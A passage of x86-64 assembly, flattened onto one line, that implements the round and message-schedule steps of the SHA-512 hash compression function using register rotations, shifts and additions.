%r15 mov %r12, %rcx mov %r12, %rdx shrd $(28), %rcx, %rcx mov %r12, %rbx push %r12 xor %r13, %rdx shrd $(34), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(5), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 mov (40)(%rsp), %rax mov (16)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (40)(%rsp), %rcx mov (16)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (32)(%rsp), %rax add (104)(%rsp), %rbx add %rbx, %rax mov %rax, (32)(%rsp) add (40)(%rbp), %r10 add (40)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx shrd $(14), %rcx, %rcx mov %r15, %rbx push %r15 not %rdx shrd $(18), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(23), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx shrd $(28), %rcx, %rcx mov %r11, %rbx push %r11 xor %r12, %rdx shrd $(34), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(5), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 mov (48)(%rsp), %rax mov (24)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (48)(%rsp), %rcx mov (24)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (40)(%rsp), %rax add (112)(%rsp), %rbx add %rbx, %rax mov %rax, (40)(%rsp) add (48)(%rbp), %r9 add (48)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx shrd $(14), %rcx, %rcx mov %r14, %rbx push %r14 not %rdx shrd $(18), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(23), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx shrd $(28), %rcx, %rcx mov %r10, %rbx push %r10 xor %r11, %rdx shrd $(34), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(5), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 mov (56)(%rsp), %rax mov (32)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (56)(%rsp), %rcx mov (32)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (48)(%rsp), %rax add (120)(%rsp), %rbx add %rbx, %rax mov %rax, (48)(%rsp) add (56)(%rbp), %r8 add (56)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx shrd $(14), %rcx, %rcx mov %r13, %rbx push %r13 not %rdx shrd $(18), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(23), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx shrd $(28), %rcx, %rcx mov %r9, %rbx push %r9 xor %r10, %rdx shrd $(34), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(5), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 mov (64)(%rsp), %rax mov (40)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (64)(%rsp), %rcx mov (40)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (56)(%rsp), %rax add (%rsp), %rbx add %rbx, %rax mov %rax, (56)(%rsp) add (64)(%rbp), %r15 add (64)(%rsp), %r15 mov %r12, %rcx mov %r12, %rdx shrd $(14), %rcx, %rcx mov %r12, %rbx push %r12 not %rdx shrd $(18), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(23), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx shrd $(28), %rcx, %rcx mov %r8, %rbx push %r8 xor %r9, %rdx shrd $(34), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(5), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 mov (72)(%rsp), %rax mov (48)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (72)(%rsp), %rcx mov (48)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (64)(%rsp), %rax add (8)(%rsp), %rbx add %rbx, %rax mov %rax, (64)(%rsp) add (72)(%rbp), %r14 add (72)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx shrd $(14), %rcx, %rcx mov %r11, %rbx push %r11 not %rdx shrd $(18), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(23), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx shrd $(28), %rcx, %rcx mov %r15, %rbx push %r15 xor %r8, %rdx shrd $(34), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(5), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 mov (80)(%rsp), %rax mov (56)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (80)(%rsp), %rcx mov (56)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (72)(%rsp), %rax add (16)(%rsp), %rbx add %rbx, %rax mov %rax, (72)(%rsp) add (80)(%rbp), %r13 add (80)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx shrd $(14), %rcx, %rcx mov %r10, %rbx push %r10 not %rdx shrd $(18), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(23), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx shrd $(28), %rcx, %rcx mov %r14, %rbx push %r14 xor %r15, %rdx shrd $(34), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(5), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 mov (88)(%rsp), %rax mov (64)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (88)(%rsp), %rcx mov (64)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (80)(%rsp), %rax add (24)(%rsp), %rbx add %rbx, %rax mov %rax, (80)(%rsp) add (88)(%rbp), %r12 add (88)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx shrd $(14), %rcx, %rcx mov %r9, %rbx push %r9 not %rdx shrd $(18), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(23), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx shrd $(28), %rcx, %rcx mov %r13, %rbx push %r13 xor %r14, %rdx shrd $(34), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(5), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 mov (96)(%rsp), %rax mov (72)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (96)(%rsp), %rcx mov (72)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (88)(%rsp), %rax add (32)(%rsp), %rbx add %rbx, %rax mov %rax, (88)(%rsp) add (96)(%rbp), %r11 add (96)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx shrd $(14), %rcx, %rcx mov %r8, %rbx push %r8 not %rdx shrd $(18), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(23), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx shrd $(28), %rcx, %rcx mov %r12, %rbx push %r12 xor %r13, %rdx shrd $(34), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(5), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 mov (104)(%rsp), %rax mov (80)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (104)(%rsp), %rcx mov (80)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (96)(%rsp), %rax add (40)(%rsp), %rbx add %rbx, %rax mov %rax, (96)(%rsp) add (104)(%rbp), %r10 add (104)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx shrd $(14), %rcx, %rcx mov %r15, %rbx push %r15 not %rdx shrd $(18), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(23), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx shrd $(28), %rcx, %rcx mov %r11, %rbx push %r11 xor %r12, %rdx shrd $(34), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(5), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 mov (112)(%rsp), %rax mov (88)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (112)(%rsp), %rcx mov (88)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (104)(%rsp), %rax add (48)(%rsp), %rbx add %rbx, %rax mov %rax, (104)(%rsp) add (112)(%rbp), %r9 add (112)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx shrd $(14), %rcx, %rcx mov %r14, %rbx push %r14 not %rdx shrd $(18), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(23), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx shrd $(28), %rcx, %rcx mov %r10, %rbx push %r10 xor %r11, %rdx shrd $(34), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(5), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 mov (120)(%rsp), %rax mov (96)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (120)(%rsp), %rcx mov (96)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (112)(%rsp), %rax add (56)(%rsp), %rbx add %rbx, %rax mov %rax, (112)(%rsp) add (120)(%rbp), %r8 add (120)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx shrd $(14), %rcx, %rcx mov %r13, %rbx push %r13 not %rdx shrd $(18), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(23), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx shrd $(28), %rcx, %rcx mov %r9, %rbx push %r9 xor %r10, %rdx shrd $(34), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(5), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 mov (%rsp), %rax mov (104)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (%rsp), %rcx mov (104)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (120)(%rsp), %rax add (64)(%rsp), %rbx add %rbx, %rax mov %rax, (120)(%rsp) add (128)(%rbp), %r15 add (%rsp), %r15 mov %r12, %rcx mov %r12, %rdx shrd $(14), %rcx, %rcx mov %r12, %rbx push %r12 not %rdx shrd $(18), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(23), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx shrd $(28), %rcx, %rcx mov %r8, %rbx push %r8 xor %r9, %rdx shrd $(34), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(5), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 mov (8)(%rsp), %rax mov (112)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (8)(%rsp), %rcx mov (112)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (%rsp), %rax add (72)(%rsp), %rbx add %rbx, %rax mov %rax, (%rsp) add (136)(%rbp), %r14 add (8)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx shrd $(14), %rcx, %rcx mov %r11, %rbx push %r11 not %rdx shrd $(18), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(23), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx shrd $(28), %rcx, %rcx mov %r15, %rbx push %r15 xor %r8, %rdx shrd $(34), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(5), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 mov (16)(%rsp), %rax mov (120)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (16)(%rsp), %rcx mov (120)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (8)(%rsp), %rax add (80)(%rsp), %rbx add %rbx, %rax mov %rax, (8)(%rsp) add (144)(%rbp), %r13 add (16)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx shrd $(14), %rcx, %rcx mov %r10, %rbx push %r10 not %rdx shrd $(18), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(23), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx shrd $(28), %rcx, %rcx mov %r14, %rbx push %r14 xor %r15, %rdx shrd $(34), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(5), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 mov (24)(%rsp), %rax mov (%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (24)(%rsp), %rcx mov (%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (16)(%rsp), %rax add (88)(%rsp), %rbx add %rbx, %rax mov %rax, (16)(%rsp) add (152)(%rbp), %r12 add (24)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx shrd $(14), %rcx, %rcx mov %r9, %rbx push %r9 not %rdx shrd $(18), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(23), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx shrd $(28), %rcx, %rcx mov %r13, %rbx push %r13 xor %r14, %rdx shrd $(34), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(5), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 mov (32)(%rsp), %rax mov (8)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (32)(%rsp), %rcx mov (8)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (24)(%rsp), %rax add (96)(%rsp), %rbx add %rbx, %rax mov %rax, (24)(%rsp) add (160)(%rbp), %r11 add (32)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx shrd $(14), %rcx, %rcx mov %r8, %rbx push %r8 not %rdx shrd $(18), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(23), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx shrd $(28), %rcx, %rcx mov %r12, %rbx push %r12 xor %r13, %rdx shrd $(34), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(5), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 mov (40)(%rsp), %rax mov (16)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (40)(%rsp), %rcx mov (16)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (32)(%rsp), %rax add (104)(%rsp), %rbx add %rbx, %rax mov %rax, (32)(%rsp) add (168)(%rbp), %r10 add (40)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx shrd $(14), %rcx, %rcx mov %r15, %rbx push %r15 not %rdx shrd $(18), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(23), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx shrd $(28), %rcx, %rcx mov %r11, %rbx push %r11 xor %r12, %rdx shrd $(34), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(5), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 mov (48)(%rsp), %rax mov (24)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (48)(%rsp), %rcx mov (24)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (40)(%rsp), %rax add (112)(%rsp), %rbx add %rbx, %rax mov %rax, (40)(%rsp) add (176)(%rbp), %r9 add (48)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx shrd $(14), %rcx, %rcx mov %r14, %rbx push %r14 not %rdx shrd $(18), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(23), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx shrd $(28), %rcx, %rcx mov %r10, %rbx push %r10 xor %r11, %rdx shrd $(34), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(5), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 mov (56)(%rsp), %rax mov (32)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (56)(%rsp), %rcx mov (32)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (48)(%rsp), %rax add (120)(%rsp), %rbx add %rbx, %rax mov %rax, (48)(%rsp) add (184)(%rbp), %r8 add (56)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx shrd $(14), %rcx, %rcx mov %r13, %rbx push %r13 not %rdx shrd $(18), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(23), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx shrd $(28), %rcx, %rcx mov %r9, %rbx push %r9 xor %r10, %rdx shrd $(34), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(5), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 mov (64)(%rsp), %rax mov (40)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (64)(%rsp), %rcx mov (40)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (56)(%rsp), %rax add (%rsp), %rbx add %rbx, %rax mov %rax, (56)(%rsp) add (192)(%rbp), %r15 add (64)(%rsp), %r15 mov %r12, %rcx mov %r12, %rdx shrd $(14), %rcx, %rcx mov %r12, %rbx push %r12 not %rdx shrd $(18), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(23), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx shrd $(28), %rcx, %rcx mov %r8, %rbx push %r8 xor %r9, %rdx shrd $(34), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(5), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 mov (72)(%rsp), %rax mov (48)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (72)(%rsp), %rcx mov (48)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (64)(%rsp), %rax add (8)(%rsp), %rbx add %rbx, %rax mov %rax, (64)(%rsp) add (200)(%rbp), %r14 add (72)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx shrd $(14), %rcx, %rcx mov %r11, %rbx push %r11 not %rdx shrd $(18), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(23), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx shrd $(28), %rcx, %rcx mov %r15, %rbx push %r15 xor %r8, %rdx shrd $(34), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(5), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 mov (80)(%rsp), %rax mov (56)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (80)(%rsp), %rcx mov (56)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (72)(%rsp), %rax add (16)(%rsp), %rbx add %rbx, %rax mov %rax, (72)(%rsp) add (208)(%rbp), %r13 add (80)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx shrd $(14), %rcx, %rcx mov %r10, %rbx push %r10 not %rdx shrd $(18), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(23), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx shrd $(28), %rcx, %rcx mov %r14, %rbx push %r14 xor %r15, %rdx shrd $(34), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(5), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 mov (88)(%rsp), %rax mov (64)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (88)(%rsp), %rcx mov (64)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (80)(%rsp), %rax add (24)(%rsp), %rbx add %rbx, %rax mov %rax, (80)(%rsp) add (216)(%rbp), %r12 add (88)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx shrd $(14), %rcx, %rcx mov %r9, %rbx push %r9 not %rdx shrd $(18), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(23), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx shrd $(28), %rcx, %rcx mov %r13, %rbx push %r13 xor %r14, %rdx shrd $(34), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(5), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 mov (96)(%rsp), %rax mov (72)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (96)(%rsp), %rcx mov (72)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (88)(%rsp), %rax add (32)(%rsp), %rbx add %rbx, %rax mov %rax, (88)(%rsp) add (224)(%rbp), %r11 add (96)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx shrd $(14), %rcx, %rcx mov %r8, %rbx push %r8 not %rdx shrd $(18), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(23), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx shrd $(28), %rcx, %rcx mov %r12, %rbx push %r12 xor %r13, %rdx shrd $(34), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(5), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 mov (104)(%rsp), %rax mov (80)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (104)(%rsp), %rcx mov (80)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd 